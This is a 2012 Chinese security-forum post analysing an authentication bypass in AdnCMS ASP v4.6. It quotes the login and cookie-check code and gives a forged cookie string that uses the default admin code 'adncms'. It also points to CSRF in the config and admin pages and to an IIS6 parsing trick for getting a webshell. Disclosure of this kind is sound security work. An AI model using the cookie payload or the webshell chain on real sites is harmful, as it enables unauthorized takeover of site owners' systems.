查看: 12101|回复: 0

(独家发布)飞飞影视asp版adncms v4.6漏洞分析

[复制链接]

该用户从未签到

发表于 2012-5-26 20:27:57 | 显示全部楼层 |阅读模式
前几天公布了飞飞影视php版的SQL注入漏洞。
飞飞影视官方论坛挂上了我们08安全团队的友连,在此感谢!
其实也个版本也算不是一个漏洞,只是利用有些站长懒惰不去修改默认管理员认证码,
结合cookie验证达到后台权限饶过。从而取得webshell控制整个网站。
本来想在官方论坛提交了,发现帖子被删了。。。这里就公布吧。
我们看代码吧。
后台登录文件:
adn_login.asp
<!--#include file="../Conn.asp"-->  '数据库连接文件<!--#include file="../Include/AdnCms.Security.asp"-->  '后台登录验证文件<!--#include file="../Include/AdnCms.Function.asp"--><!--#include file="../Include/AdnCms.Md5.asp"--><!--#include file="Adn_Function.asp"-->
省略中间代码.........
Site_Sn=Replace(LCase(Request.ServerVariables("Server_Name")), ".", "")
Password = MD5(Password, 16)
Call OpenConn()
Set rs = Server.CreateObject("adodb.recordset")
sql = "Select * from adnim_admin where admin_pass='" & Password & "' and admin_name='" & UserName & "'"
rs.Open sql, Conn, 1, 3
If rs.bof And rs.eof Then
'Call InsertLog(1, -1, UserName, UserTrueIP, "登录失败", ComeUrl, "")
rs.Close:Set rs = Nothing
Call Adn_Err("用户名或密码错误!!!")
Exit Sub
End If
UserName = rs("admin_name")
RndPassword = GetRndPassword(16)
rs("LastLoginIP") = Adn_Ip '登录IP
rs("LastLoginTime") = Now() '登录时间
rs("RndPassword") = RndPassword '随机验证码
rs.Update
'Call InsertLog(1, 0, UserName, UserTrueIP, "登录成功", ComeUrl, "") '如果登录成功设置cookie值
Response.Cookies(Site_Sn)("AdminName") = rs("admin_name")
Response.Cookies(Site_Sn)("AdminPassword") = rs("admin_pass")
Response.Cookies(Site_Sn)("RndPassword") = RndPassword
Response.Cookies(Site_Sn)("AdminLoginCode") = AdminLoginCode
rs.Close:Set rs = Nothing
Call CloseConn
Response.Redirect "Adn_Index.asp" '登录成功跳转到后台管理首页文件
adn_index.asp
<!--#include file="Adn_Conn.asp"--> '只包含了这一个文件<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML xmlns="http://www.w3.org/1999/xhtml"><head><meta http-equiv="content-type" content="text/html; charset=gb2312" /><TITLE>后台管理</TITLE>继续跟踪adn_conn.asp<!--#include file="../Conn.asp"--><!--#include file="../Include/AdnCms.Security.asp"--><!--#include file="../Include/AdnCms.Function.asp"--><!--#include file="../Include/AdnCms.Fso.asp"--><!--#include file="../Include/AdnCms.Version.asp"--><!--#include file="../Include/AdnCms.Md5.asp"--><!--#include file="../Include/AdnCms.Cache.asp"--><!--#include file="Adn_Function.asp"--><%If CheckAdmin<>True Then      '关键在这里,只要checkadmin这个函数返回真就会继续向下执行,                                '也就饶过了后台权限        Response.Redirect "Adn_Login.asp"        Response.EndEnd If%>checkadmin函数在
/Include/AdnCms.Security.asp 这个文件里
Function CheckAdmin()
'检查管理员是否登录
'Site_Sn=Replace(Replace(LCase(Request.ServerVariables("SERVER_NAME") & GetScriptPath(Trim(Request.ServerVariables("SCRIPT_NAME")), 1)), "/", ""), ".", "")
Site_Sn=Replace(LCase(Request.ServerVariables("Server_Name")), ".", "")
AdminName = NoSqlHack(Trim(Request.Cookies(Site_Sn)("AdminName")))
AdminPassword = NoSqlHack(Trim(Request.Cookies(Site_Sn)("AdminPassword")))
RndPassword = NoSqlHack(Trim(Request.Cookies(Site_Sn)("RndPassword")))
AdminLoginCode = NoSqlHack(Trim(Request.Cookies(Site_Sn)("AdminLoginCode")))
If AdminName = "" Or AdminPassword = "" Or RndPassword = "" Or AdminLoginCode <> Config(7) Then                                                                                                        '关键判断
CheckAdmin=False
Else
CheckAdmin=True
End If
End Function
Request.Cookies(Site_Sn)("AdminName") '都是来自cookie传递过来的值。
If AdminName = "" Or AdminPassword = "" Or RndPassword = "" Or AdminLoginCode <> Config(7) Then
也就是说我们如果我们伪造cookie的值使得adminname,adminpassword,rndpassword 都不为空,并且adminLogincode=配置文件中的coofig(7) 默认是adncms 就可以饶过。
伪造cookie值:
Site_Sn主机名除去点=AdminName=11111&AdminPassword=11111&RndPassword=11111&AdminLoginCode=adncms
Cache/AdnCms.Config.asp
Config(5)="SQL用户密码"
Config(6)="(local)"
Config(7)="adncms" '管理员认证码
Config(8)="ADN视频收藏专家"
Config(9)="www.adnim5.cn"
Config(10)="50"
Config(11)="10"
不过可以看的出来只要我们把管理员认证码改成自己的密码就达不到cookie欺骗的目的。但是可惜在实际测试中
有80%都是默认的 "adncms"
还有一个就是 adnim/adn_config.asp 并没有判断请求来源,这里或许可以利用CSRF更改了管理员认证码。
adnim/adn_
上传使用白名单加重命名+定义的上传目录,写入配置文件也过虑了双引号为空,数据库也防插马,
不过利用iis6的解释漏洞更改上传目录为xxx.asp目录可以突破。
adnim/adn_admin.asp 同样是没有判断请求来源,存在CSRF 可在管理员不知道情的情况下更改个性参数。
Sub config_add
ConfigHtml=""'初始化变量
For i=0 to 31
AdminId(i)=Request.Form("AdminId("&i&")")
ConfigHtml=ConfigHtml&"AdminId("&i&")="""&AdminId(i)&""""&vbcrlf
Next
For J=32 to 39
beiyong=beiyong&"AdminId("&j&")="""""&vbcrlf
Next
html=" Call MakeHtml("../Cache/AdnCms.Admin.asp",html)'生成配置文件
Response.Redirect"?"
End Sub

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

旗下站点

邮箱系统

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

GMT+8, 2024-5-5 06:45 , Processed in 0.044378 second(s), 12 queries , Gzip On, MemCache On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部